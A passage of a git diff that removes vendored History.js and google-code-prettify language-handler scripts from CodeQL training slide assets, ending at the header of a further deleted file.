-(function(a,b){"use strict";var c=a.console||b,d=a.document,e=a.navigator,f=a.sessionStorage||!1,g=a.setTimeout,h=a.clearTimeout,i=a.setInterval,j=a.clearInterval,k=a.JSON,l=a.alert,m=a.History=a.History||{},n=a.history;k.stringify=k.stringify||k.encode,k.parse=k.parse||k.decode;if(typeof m.init!="undefined")throw new Error("History.js Core has already been loaded...");m.init=function(){return typeof m.Adapter=="undefined"?!1:(typeof m.initCore!="undefined"&&m.initCore(),typeof m.initHtml4!="undefined"&&m.initHtml4(),!0)},m.initCore=function(){if(typeof m.initCore.initialized!="undefined")return!1;m.initCore.initialized=!0,m.options=m.options||{},m.options.hashChangeInterval=m.options.hashChangeInterval||100,m.options.safariPollInterval=m.options.safariPollInterval||500,m.options.doubleCheckInterval=m.options.doubleCheckInterval||500,m.options.storeInterval=m.options.storeInterval||1e3,m.options.busyDelay=m.options.busyDelay||250,m.options.debug=m.options.debug||!1,m.options.initialTitle=m.options.initialTitle||d.title,m.intervalList=[],m.clearAllIntervals=function(){var a,b=m.intervalList;if(typeof b!="undefined"&&b!==null){for(a=0;a<b.length;a++)j(b[a]);m.intervalList=null}},m.debug=function(){(m.options.debug||!1)&&m.log.apply(m,arguments)},m.log=function(){var a=typeof c!="undefined"&&typeof c.log!="undefined"&&typeof c.log.apply!="undefined",b=d.getElementById("log"),e,f,g,h,i;a?(h=Array.prototype.slice.call(arguments),e=h.shift(),typeof c.debug!="undefined"?c.debug.apply(c,[e,h]):c.log.apply(c,[e,h])):e="\n"+arguments[0]+"\n";for(f=1,g=arguments.length;f<g;++f){i=arguments[f];if(typeof i=="object"&&typeof k!="undefined")try{i=k.stringify(i)}catch(j){}e+="\n"+i+"\n"}return b?(b.value+=e+"\n-----\n",b.scrollTop=b.scrollHeight-b.clientHeight):a||l(e),!0},m.getInternetExplorerMajorVersion=function(){var a=m.getInternetExplorerMajorVersion.cached=typeof m.getInternetExplorerMajorVersion.cached!="undefined"?m.getInternetExplorerMajorVersion.cached:function(){var a=3,b=d.createElement("div"),c=b.getElementsByTagName("i");while((b.innerHTML="<!--[if gt IE "+ ++a+"]><i></i><![endif]-->")&&c[0]);return a>4?a:!1}();return a},m.isInternetExplorer=function(){var a=m.isInternetExplorer.cached=typeof m.isInternetExplorer.cached!="undefined"?m.isInternetExplorer.cached:Boolean(m.getInternetExplorerMajorVersion());return a},m.emulated={pushState:!Boolean(a.history&&a.history.pushState&&a.history.replaceState&&!/ Mobile\/([1-7][a-z]|(8([abcde]|f(1[0-8]))))/i.test(e.userAgent)&&!/AppleWebKit\/5([0-2]|3[0-2])/i.test(e.userAgent)),hashChange:Boolean(!("onhashchange"in a||"onhashchange"in d)||m.isInternetExplorer()&&m.getInternetExplorerMajorVersion()<8)},m.enabled=!m.emulated.pushState,m.bugs={setHash:Boolean(!m.emulated.pushState&&e.vendor==="Apple Computer, Inc."&&/AppleWebKit\/5([0-2]|3[0-3])/.test(e.userAgent)),safariPoll:Boolean(!m.emulated.pushState&&e.vendor==="Apple Computer, Inc."&&/AppleWebKit\/5([0-2]|3[0-3])/.test(e.userAgent)),ieDoubleCheck:Boolean(m.isInternetExplorer()&&m.getInternetExplorerMajorVersion()<8),hashEscape:Boolean(m.isInternetExplorer()&&m.getInternetExplorerMajorVersion()<7)},m.isEmptyObject=function(a){for(var b in a)return!1;return!0},m.cloneObject=function(a){var b,c;return a?(b=k.stringify(a),c=k.parse(b)):c={},c},m.getRootUrl=function(){var a=d.location.protocol+"//"+(d.location.hostname||d.location.host);if(d.location.port||!1)a+=":"+d.location.port;return a+="/",a},m.getBaseHref=function(){var a=d.getElementsByTagName("base"),b=null,c="";return a.length===1&&(b=a[0],c=b.href.replace(/[^\/]+$/,"")),c=c.replace(/\/+$/,""),c&&(c+="/"),c},m.getBaseUrl=function(){var a=m.getBaseHref()||m.getBasePageUrl()||m.getRootUrl();return a},m.getPageUrl=function(){var a=m.getState(!1,!1),b=(a||{}).url||d.location.href,c;return c=b.replace(/\/+$/,"").replace(/[^\/]+$/,function(a,b,c){return/\./.test(a)?a:a+"/"}),c},m.getBasePageUrl=function(){var a=d.location.href.replace(/[#\?].*/,"").replace(/[^\/]+$/,function(a,b,c){return/[^\/]$/.test(a)?"":a}).replace(/\/+$/,"")+"/";return a},m.getFullUrl=function(a,b){var c=a,d=a.substring(0,1);return b=typeof b=="undefined"?!0:b,/[a-z]+\:\/\//.test(a)||(d==="/"?c=m.getRootUrl()+a.replace(/^\/+/,""):d==="#"?c=m.getPageUrl().replace(/#.*/,"")+a:d==="?"?c=m.getPageUrl().replace(/[\?#].*/,"")+a:b?c=m.getBaseUrl()+a.replace(/^(\.\/)+/,""):c=m.getBasePageUrl()+a.replace(/^(\.\/)+/,"")),c.replace(/\#$/,"")},m.getShortUrl=function(a){var b=a,c=m.getBaseUrl(),d=m.getRootUrl();return m.emulated.pushState&&(b=b.replace(c,"")),b=b.replace(d,"/"),m.isTraditionalAnchor(b)&&(b="./"+b),b=b.replace(/^(\.\/)+/g,"./").replace(/\#$/,""),b},m.store={},m.idToState=m.idToState||{},m.stateToId=m.stateToId||{},m.urlToId=m.urlToId||{},m.storedStates=m.storedStates||[],m.savedStates=m.savedStates||[],m.normalizeStore=function(){m.store.idToState=m.store.idToState||{},m.store.urlToId=m.store.urlToId||{},m.store.stateToId=m.store.stateToId||{}},m.getState=function(a,b){typeof a=="undefined"&&(a=!0),typeof b=="undefined"&&(b=!0);var c=m.getLastSavedState();return!c&&b&&(c=m.createStateObject()),a&&(c=m.cloneObject(c),c.url=c.cleanUrl||c.url),c},m.getIdByState=function(a){var b=m.extractId(a.url),c;if(!b){c=m.getStateString(a);if(typeof m.stateToId[c]!="undefined")b=m.stateToId[c];else if(typeof m.store.stateToId[c]!="undefined")b=m.store.stateToId[c];else{for(;;){b=(new Date).getTime()+String(Math.random()).replace(/\D/g,"");if(typeof m.idToState[b]=="undefined"&&typeof m.store.idToState[b]=="undefined")break}m.stateToId[c]=b,m.idToState[b]=a}}return b},m.normalizeState=function(a){var b,c;if(!a||typeof a!="object")a={};if(typeof a.normalized!="undefined")return a;if(!a.data||typeof a.data!="object")a.data={};b={},b.normalized=!0,b.title=a.title||"",b.url=m.getFullUrl(m.unescapeString(a.url||d.location.href)),b.hash=m.getShortUrl(b.url),b.data=m.cloneObject(a.data),b.id=m.getIdByState(b),b.cleanUrl=b.url.replace(/\??\&_suid.*/,""),b.url=b.cleanUrl,c=!m.isEmptyObject(b.data);if(b.title||c)b.hash=m.getShortUrl(b.url).replace(/\??\&_suid.*/,""),/\?/.test(b.hash)||(b.hash+="?"),b.hash+="&_suid="+b.id;return b.hashedUrl=m.getFullUrl(b.hash),(m.emulated.pushState||m.bugs.safariPoll)&&m.hasUrlDuplicate(b)&&(b.url=b.hashedUrl),b},m.createStateObject=function(a,b,c){var d={data:a,title:b,url:c};return d=m.normalizeState(d),d},m.getStateById=function(a){a=String(a);var c=m.idToState[a]||m.store.idToState[a]||b;return c},m.getStateString=function(a){var b,c,d;return b=m.normalizeState(a),c={data:b.data,title:a.title,url:a.url},d=k.stringify(c),d},m.getStateId=function(a){var b,c;return b=m.normalizeState(a),c=b.id,c},m.getHashByState=function(a){var b,c;return b=m.normalizeState(a),c=b.hash,c},m.extractId=function(a){var b,c,d;return c=/(.*)\&_suid=([0-9]+)$/.exec(a),d=c?c[1]||a:a,b=c?String(c[2]||""):"",b||!1},m.isTraditionalAnchor=function(a){var b=!/[\/\?\.]/.test(a);return b},m.extractState=function(a,b){var c=null,d,e;return b=b||!1,d=m.extractId(a),d&&(c=m.getStateById(d)),c||(e=m.getFullUrl(a),d=m.getIdByUrl(e)||!1,d&&(c=m.getStateById(d)),!c&&b&&!m.isTraditionalAnchor(a)&&(c=m.createStateObject(null,null,e))),c},m.getIdByUrl=function(a){var c=m.urlToId[a]||m.store.urlToId[a]||b;return c},m.getLastSavedState=function(){return m.savedStates[m.savedStates.length-1]||b},m.getLastStoredState=function(){return m.storedStates[m.storedStates.length-1]||b},m.hasUrlDuplicate=function(a){var b=!1,c;return c=m.extractState(a.url),b=c&&c.id!==a.id,b},m.storeState=function(a){return m.urlToId[a.url]=a.id,m.storedStates.push(m.cloneObject(a)),a},m.isLastSavedState=function(a){var b=!1,c,d,e;return m.savedStates.length&&(c=a.id,d=m.getLastSavedState(),e=d.id,b=c===e),b},m.saveState=function(a){return m.isLastSavedState(a)?!1:(m.savedStates.push(m.cloneObject(a)),!0)},m.getStateByIndex=function(a){var b=null;return typeof a=="undefined"?b=m.savedStates[m.savedStates.length-1]:a<0?b=m.savedStates[m.savedStates.length+a]:b=m.savedStates[a],b},m.getHash=function(){var a=m.unescapeHash(d.location.hash);return a},m.unescapeString=function(b){var c=b,d;for(;;){d=a.unescape(c);if(d===c)break;c=d}return c},m.unescapeHash=function(a){var b=m.normalizeHash(a);return b=m.unescapeString(b),b},m.normalizeHash=function(a){var b=a.replace(/[^#]*#/,"").replace(/#.*/,"");return b},m.setHash=function(a,b){var c,e,f;return b!==!1&&m.busy()?(m.pushQueue({scope:m,callback:m.setHash,args:arguments,queue:b}),!1):(c=m.escapeHash(a),m.busy(!0),e=m.extractState(a,!0),e&&!m.emulated.pushState?m.pushState(e.data,e.title,e.url,!1):d.location.hash!==c&&(m.bugs.setHash?(f=m.getPageUrl(),m.pushState(null,null,f+"#"+c,!1)):d.location.hash=c),m)},m.escapeHash=function(b){var c=m.normalizeHash(b);return c=a.escape(c),m.bugs.hashEscape||(c=c.replace(/\%21/g,"!").replace(/\%26/g,"&").replace(/\%3D/g,"=").replace(/\%3F/g,"?")),c},m.getHashByUrl=function(a){var b=String(a).replace(/([^#]*)#?([^#]*)#?(.*)/,"$2");return b=m.unescapeHash(b),b},m.setTitle=function(a){var b=a.title,c;b||(c=m.getStateByIndex(0),c&&c.url===a.url&&(b=c.title||m.options.initialTitle));try{d.getElementsByTagName("title")[0].innerHTML=b.replace("<","&lt;").replace(">","&gt;").replace(" & "," &amp; ")}catch(e){}return d.title=b,m},m.queues=[],m.busy=function(a){typeof a!="undefined"?m.busy.flag=a:typeof m.busy.flag=="undefined"&&(m.busy.flag=!1);if(!m.busy.flag){h(m.busy.timeout);var b=function(){var a,c,d;if(m.busy.flag)return;for(a=m.queues.length-1;a>=0;--a){c=m.queues[a];if(c.length===0)continue;d=c.shift(),m.fireQueueItem(d),m.busy.timeout=g(b,m.options.busyDelay)}};m.busy.timeout=g(b,m.options.busyDelay)}return m.busy.flag},m.busy.flag=!1,m.fireQueueItem=function(a){return a.callback.apply(a.scope||m,a.args||[])},m.pushQueue=function(a){return m.queues[a.queue||0]=m.queues[a.queue||0]||[],m.queues[a.queue||0].push(a),m},m.queue=function(a,b){return typeof a=="function"&&(a={callback:a}),typeof b!="undefined"&&(a.queue=b),m.busy()?m.pushQueue(a):m.fireQueueItem(a),m},m.clearQueue=function(){return m.busy.flag=!1,m.queues=[],m},m.stateChanged=!1,m.doubleChecker=!1,m.doubleCheckComplete=function(){return m.stateChanged=!0,m.doubleCheckClear(),m},m.doubleCheckClear=function(){return m.doubleChecker&&(h(m.doubleChecker),m.doubleChecker=!1),m},m.doubleCheck=function(a){return m.stateChanged=!1,m.doubleCheckClear(),m.bugs.ieDoubleCheck&&(m.doubleChecker=g(function(){return m.doubleCheckClear(),m.stateChanged||a(),!0},m.options.doubleCheckInterval)),m},m.safariStatePoll=function(){var b=m.extractState(d.location.href),c;if(!m.isLastSavedState(b))c=b;else return;return c||(c=m.createStateObject()),m.Adapter.trigger(a,"popstate"),m},m.back=function(a){return a!==!1&&m.busy()?(m.pushQueue({scope:m,callback:m.back,args:arguments,queue:a}),!1):(m.busy(!0),m.doubleCheck(function(){m.back(!1)}),n.go(-1),!0)},m.forward=function(a){return a!==!1&&m.busy()?(m.pushQueue({scope:m,callback:m.forward,args:arguments,queue:a}),!1):(m.busy(!0),m.doubleCheck(function(){m.forward(!1)}),n.go(1),!0)},m.go=function(a,b){var c;if(a>0)for(c=1;c<=a;++c)m.forward(b);else{if(!(a<0))throw new Error("History.go: History.go requires a positive or negative integer passed.");for(c=-1;c>=a;--c)m.back(b)}return m};if(m.emulated.pushState){var o=function(){};m.pushState=m.pushState||o,m.replaceState=m.replaceState||o}else m.onPopState=function(b,c){var e=!1,f=!1,g,h;return m.doubleCheckComplete(),g=m.getHash(),g?(h=m.extractState(g||d.location.href,!0),h?m.replaceState(h.data,h.title,h.url,!1):(m.Adapter.trigger(a,"anchorchange"),m.busy(!1)),m.expectedStateId=!1,!1):(e=m.Adapter.extractEventData("state",b,c)||!1,e?f=m.getStateById(e):m.expectedStateId?f=m.getStateById(m.expectedStateId):f=m.extractState(d.location.href),f||(f=m.createStateObject(null,null,d.location.href)),m.expectedStateId=!1,m.isLastSavedState(f)?(m.busy(!1),!1):(m.storeState(f),m.saveState(f),m.setTitle(f),m.Adapter.trigger(a,"statechange"),m.busy(!1),!0))},m.Adapter.bind(a,"popstate",m.onPopState),m.pushState=function(b,c,d,e){if(m.getHashByUrl(d)&&m.emulated.pushState)throw new Error("History.js does not support states with fragement-identifiers (hashes/anchors).");if(e!==!1&&m.busy())return m.pushQueue({scope:m,callback:m.pushState,args:arguments,queue:e}),!1;m.busy(!0);var f=m.createStateObject(b,c,d);return m.isLastSavedState(f)?m.busy(!1):(m.storeState(f),m.expectedStateId=f.id,n.pushState(f.id,f.title,f.url),m.Adapter.trigger(a,"popstate")),!0},m.replaceState=function(b,c,d,e){if(m.getHashByUrl(d)&&m.emulated.pushState)throw new Error("History.js does not support states with fragement-identifiers (hashes/anchors).");if(e!==!1&&m.busy())return m.pushQueue({scope:m,callback:m.replaceState,args:arguments,queue:e}),!1;m.busy(!0);var f=m.createStateObject(b,c,d);return m.isLastSavedState(f)?m.busy(!1):(m.storeState(f),m.expectedStateId=f.id,n.replaceState(f.id,f.title,f.url),m.Adapter.trigger(a,"popstate")),!0};if(f){try{m.store=k.parse(f.getItem("History.store"))||{}}catch(p){m.store={}}m.normalizeStore()}else m.store={},m.normalizeStore();m.Adapter.bind(a,"beforeunload",m.clearAllIntervals),m.Adapter.bind(a,"unload",m.clearAllIntervals),m.saveState(m.storeState(m.extractState(d.location.href,!0))),f&&(m.onUnload=function(){var a,b;try{a=k.parse(f.getItem("History.store"))||{}}catch(c){a={}}a.idToState=a.idToState||{},a.urlToId=a.urlToId||{},a.stateToId=a.stateToId||{};for(b in m.idToState){if(!m.idToState.hasOwnProperty(b))continue;a.idToState[b]=m.idToState[b]}for(b in m.urlToId){if(!m.urlToId.hasOwnProperty(b))continue;a.urlToId[b]=m.urlToId[b]}for(b in m.stateToId){if(!m.stateToId.hasOwnProperty(b))continue;a.stateToId[b]=m.stateToId[b]}m.store=a,m.normalizeStore(),f.setItem("History.store",k.stringify(a))},m.intervalList.push(i(m.onUnload,m.options.storeInterval)),m.Adapter.bind(a,"beforeunload",m.onUnload),m.Adapter.bind(a,"unload",m.onUnload));if(!m.emulated.pushState){m.bugs.safariPoll&&m.intervalList.push(i(m.safariStatePoll,m.options.safariPollInterval));if(e.vendor==="Apple Computer, Inc."||(e.appCodeName||"")==="Mozilla")m.Adapter.bind(a,"hashchange",function(){m.Adapter.trigger(a,"popstate")}),m.getHash()&&m.Adapter.onDomLoad(function(){m.Adapter.trigger(a,"hashchange")})}},m.init()})(window)
\ No newline at end of file
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-apollo.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-apollo.js
deleted file mode 100644
index 7098baf41055..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-apollo.js
+++ /dev/null
@@ -1,2 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["com",/^#[^\n\r]*/,null,"#"],["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r Â\xa0"],["str",/^"(?:[^"\\]|\\[\S\s])*(?:"|$)/,null,'"']],[["kwd",/^(?:ADS|AD|AUG|BZF|BZMF|CAE|CAF|CA|CCS|COM|CS|DAS|DCA|DCOM|DCS|DDOUBL|DIM|DOUBLE|DTCB|DTCF|DV|DXCH|EDRUPT|EXTEND|INCR|INDEX|NDX|INHINT|LXCH|MASK|MSK|MP|MSU|NOOP|OVSK|QXCH|RAND|READ|RELINT|RESUME|RETURN|ROR|RXOR|SQUARE|SU|TCR|TCAA|OVSK|TCF|TC|TS|WAND|WOR|WRITE|XCH|XLQ|XXALQ|ZL|ZQ|ADD|ADZ|SUB|SUZ|MPY|MPR|MPZ|DVP|COM|ABS|CLA|CLZ|LDQ|STO|STQ|ALS|LLS|LRS|TRA|TSQ|TMI|TOV|AXT|TIX|DLY|INP|OUT)\s/,
-null],["typ",/^(?:-?GENADR|=MINUS|2BCADR|VN|BOF|MM|-?2CADR|-?[1-6]DNADR|ADRES|BBCON|[ES]?BANK=?|BLOCK|BNKSUM|E?CADR|COUNT\*?|2?DEC\*?|-?DNCHAN|-?DNPTR|EQUALS|ERASE|MEMORY|2?OCT|REMADR|SETLOC|SUBRO|ORG|BSS|BES|SYN|EQU|DEFINE|END)\s/,null],["lit",/^'(?:-*(?:\w|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?)?/],["pln",/^-*(?:[!-z]|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?/],["pun",/^[^\w\t\n\r "'-);\\\xa0]+/]]),["apollo","agc","aea"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-clj.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-clj.js
deleted file mode 100644
index 542a2205fc75..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-clj.js
+++ /dev/null
@@ -1,18 +0,0 @@
-/*
- Copyright (C) 2011 Google Inc.
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
-*/
-var a=null;
-PR.registerLangHandler(PR.createSimpleLexer([["opn",/^[([{]+/,a,"([{"],["clo",/^[)\]}]+/,a,")]}"],["com",/^;[^\n\r]*/,a,";"],["pln",/^[\t\n\r \xa0]+/,a,"\t\n\r \xa0"],["str",/^"(?:[^"\\]|\\[\S\s])*(?:"|$)/,a,'"']],[["kwd",/^(?:def|if|do|let|quote|var|fn|loop|recur|throw|try|monitor-enter|monitor-exit|defmacro|defn|defn-|macroexpand|macroexpand-1|for|doseq|dosync|dotimes|and|or|when|not|assert|doto|proxy|defstruct|first|rest|cons|defprotocol|deftype|defrecord|reify|defmulti|defmethod|meta|with-meta|ns|in-ns|create-ns|import|intern|refer|alias|namespace|resolve|ref|deref|refset|new|set!|memfn|to-array|into-array|aset|gen-class|reduce|map|filter|find|nil?|empty?|hash-map|hash-set|vec|vector|seq|flatten|reverse|assoc|dissoc|list|list?|disj|get|union|difference|intersection|extend|extend-type|extend-protocol|prn)\b/,a],
-["typ",/^:[\dA-Za-z-]+/]]),["clj"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-css.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-css.js
deleted file mode 100644
index 041e1f590679..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-css.js
+++ /dev/null
@@ -1,2 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\f\r ]+/,null," \t\r\n"]],[["str",/^"(?:[^\n\f\r"\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*"/,null],["str",/^'(?:[^\n\f\r'\\]|\\(?:\r\n?|\n|\f)|\\[\S\s])*'/,null],["lang-css-str",/^url\(([^"')]*)\)/i],["kwd",/^(?:url|rgb|!important|@import|@page|@media|@charset|inherit)(?=[^\w-]|$)/i,null],["lang-css-kw",/^(-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*)\s*:/i],["com",/^\/\*[^*]*\*+(?:[^*/][^*]*\*+)*\//],["com",
-/^(?:<\!--|--\>)/],["lit",/^(?:\d+|\d*\.\d+)(?:%|[a-z]+)?/i],["lit",/^#[\da-f]{3,6}/i],["pln",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i],["pun",/^[^\s\w"']+/]]),["css"]);PR.registerLangHandler(PR.createSimpleLexer([],[["kwd",/^-?(?:[_a-z]|\\[\da-f]+ ?)(?:[\w-]|\\\\[\da-f]+ ?)*/i]]),["css-kw"]);PR.registerLangHandler(PR.createSimpleLexer([],[["str",/^[^"')]+/]]),["css-str"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-go.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-go.js
deleted file mode 100644
index fc18dc079671..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-go.js
+++ /dev/null
@@ -1 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r Â\xa0"],["pln",/^(?:"(?:[^"\\]|\\[\S\s])*(?:"|$)|'(?:[^'\\]|\\[\S\s])+(?:'|$)|`[^`]*(?:`|$))/,null,"\"'"]],[["com",/^(?:\/\/[^\n\r]*|\/\*[\S\s]*?\*\/)/],["pln",/^(?:[^"'/`]|\/(?![*/]))+/]]),["go"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-hs.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-hs.js
deleted file mode 100644
index 9d77b08389bd..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-hs.js
+++ /dev/null
@@ -1,2 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t-\r ]+/,null,"\t\n\r "],["str",/^"(?:[^\n\f\r"\\]|\\[\S\s])*(?:"|$)/,null,'"'],["str",/^'(?:[^\n\f\r'\\]|\\[^&])'?/,null,"'"],["lit",/^(?:0o[0-7]+|0x[\da-f]+|\d+(?:\.\d+)?(?:e[+-]?\d+)?)/i,null,"0123456789"]],[["com",/^(?:--+[^\n\f\r]*|{-(?:[^-]|-+[^}-])*-})/],["kwd",/^(?:case|class|data|default|deriving|do|else|if|import|in|infix|infixl|infixr|instance|let|module|newtype|of|then|type|where|_)(?=[^\d'A-Za-z]|$)/,
-null],["pln",/^(?:[A-Z][\w']*\.)*[A-Za-z][\w']*/],["pun",/^[^\d\t-\r "'A-Za-z]+/]]),["hs"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-lisp.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-lisp.js
deleted file mode 100644
index 02a30e8d16e9..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-lisp.js
+++ /dev/null
@@ -1,3 +0,0 @@
-var a=null;
-PR.registerLangHandler(PR.createSimpleLexer([["opn",/^\(+/,a,"("],["clo",/^\)+/,a,")"],["com",/^;[^\n\r]*/,a,";"],["pln",/^[\t\n\r \xa0]+/,a,"\t\n\r \xa0"],["str",/^"(?:[^"\\]|\\[\S\s])*(?:"|$)/,a,'"']],[["kwd",/^(?:block|c[ad]+r|catch|con[ds]|def(?:ine|un)|do|eq|eql|equal|equalp|eval-when|flet|format|go|if|labels|lambda|let|load-time-value|locally|macrolet|multiple-value-call|nil|progn|progv|quote|require|return-from|setq|symbol-macrolet|t|tagbody|the|throw|unwind)\b/,a],
-["lit",/^[+-]?(?:[#0]x[\da-f]+|\d+\/\d+|(?:\.\d+|\d+(?:\.\d*)?)(?:[de][+-]?\d+)?)/i],["lit",/^'(?:-*(?:\w|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?)?/],["pln",/^-*(?:[_a-z]|\\[!-~])(?:[\w-]*|\\[!-~])[!=?]?/i],["pun",/^[^\w\t\n\r "'-);\\\xa0]+/]]),["cl","el","lisp","scm"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-lua.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-lua.js
deleted file mode 100644
index e83a3c469319..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-lua.js
+++ /dev/null
@@ -1,2 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r Â\xa0"],["str",/^(?:"(?:[^"\\]|\\[\S\s])*(?:"|$)|'(?:[^'\\]|\\[\S\s])*(?:'|$))/,null,"\"'"]],[["com",/^--(?:\[(=*)\[[\S\s]*?(?:]\1]|$)|[^\n\r]*)/],["str",/^\[(=*)\[[\S\s]*?(?:]\1]|$)/],["kwd",/^(?:and|break|do|else|elseif|end|false|for|function|if|in|local|nil|not|or|repeat|return|then|true|until|while)\b/,null],["lit",/^[+-]?(?:0x[\da-f]+|(?:\.\d+|\d+(?:\.\d*)?)(?:e[+-]?\d+)?)/i],
-["pln",/^[_a-z]\w*/i],["pun",/^[^\w\t\n\r \xa0][^\w\t\n\r "'+=\xa0-]*/]]),["lua"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-ml.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-ml.js
deleted file mode 100644
index 6df02d728d16..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-ml.js
+++ /dev/null
@@ -1,2 +0,0 @@
-PR.registerLangHandler(PR.createSimpleLexer([["pln",/^[\t\n\r \xa0]+/,null,"\t\n\r Â\xa0"],["com",/^#(?:if[\t\n\r \xa0]+(?:[$_a-z][\w']*|``[^\t\n\r`]*(?:``|$))|else|endif|light)/i,null,"#"],["str",/^(?:"(?:[^"\\]|\\[\S\s])*(?:"|$)|'(?:[^'\\]|\\[\S\s])(?:'|$))/,null,"\"'"]],[["com",/^(?:\/\/[^\n\r]*|\(\*[\S\s]*?\*\))/],["kwd",/^(?:abstract|and|as|assert|begin|class|default|delegate|do|done|downcast|downto|elif|else|end|exception|extern|false|finally|for|fun|function|if|in|inherit|inline|interface|internal|lazy|let|match|member|module|mutable|namespace|new|null|of|open|or|override|private|public|rec|return|static|struct|then|to|true|try|type|upcast|use|val|void|when|while|with|yield|asr|land|lor|lsl|lsr|lxor|mod|sig|atomic|break|checked|component|const|constraint|constructor|continue|eager|event|external|fixed|functor|global|include|method|mixin|object|parallel|process|protected|pure|sealed|trait|virtual|volatile)\b/],
-["lit",/^[+-]?(?:0x[\da-f]+|(?:\.\d+|\d+(?:\.\d*)?)(?:e[+-]?\d+)?)/i],["pln",/^(?:[_a-z][\w']*[!#?]?|``[^\t\n\r`]*(?:``|$))/i],["pun",/^[^\w\t\n\r "'\xa0]+/]]),["fs","ml"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-n.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-n.js
deleted file mode 100644
index 6c2e85b98f50..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-n.js
+++ /dev/null
@@ -1,4 +0,0 @@
-var a=null;
-PR.registerLangHandler(PR.createSimpleLexer([["str",/^(?:'(?:[^\n\r'\\]|\\.)*'|"(?:[^\n\r"\\]|\\.)*(?:"|$))/,a,'"'],["com",/^#(?:(?:define|elif|else|endif|error|ifdef|include|ifndef|line|pragma|undef|warning)\b|[^\n\r]*)/,a,"#"],["pln",/^\s+/,a," \r\n\t\xa0"]],[["str",/^@"(?:[^"]|"")*(?:"|$)/,a],["str",/^<#[^#>]*(?:#>|$)/,a],["str",/^<(?:(?:(?:\.\.\/)*|\/?)(?:[\w-]+(?:\/[\w-]+)+)?[\w-]+\.h|[a-z]\w*)>/,a],["com",/^\/\/[^\n\r]*/,a],["com",/^\/\*[\S\s]*?(?:\*\/|$)/,
-a],["kwd",/^(?:abstract|and|as|base|catch|class|def|delegate|enum|event|extern|false|finally|fun|implements|interface|internal|is|macro|match|matches|module|mutable|namespace|new|null|out|override|params|partial|private|protected|public|ref|sealed|static|struct|syntax|this|throw|true|try|type|typeof|using|variant|virtual|volatile|when|where|with|assert|assert2|async|break|checked|continue|do|else|ensures|for|foreach|if|late|lock|new|nolate|otherwise|regexp|repeat|requires|return|surroundwith|unchecked|unless|using|while|yield)\b/,
-a],["typ",/^(?:array|bool|byte|char|decimal|double|float|int|list|long|object|sbyte|short|string|ulong|uint|ufloat|ulong|ushort|void)\b/,a],["lit",/^@[$_a-z][\w$@]*/i,a],["typ",/^@[A-Z]+[a-z][\w$@]*/,a],["pln",/^'?[$_a-z][\w$@]*/i,a],["lit",/^(?:0x[\da-f]+|(?:\d(?:_\d+)*\d*(?:\.\d*)?|\.\d\+)(?:e[+-]?\d+)?)[a-z]*/i,a,"0123456789"],["pun",/^.[^\s\w"-$'./@`]*/,a]]),["n","nemerle"]);
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-proto.js b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/js/prettify/lang-proto.js
deleted file mode 100644
index f006ad8cfb6c..000000000000
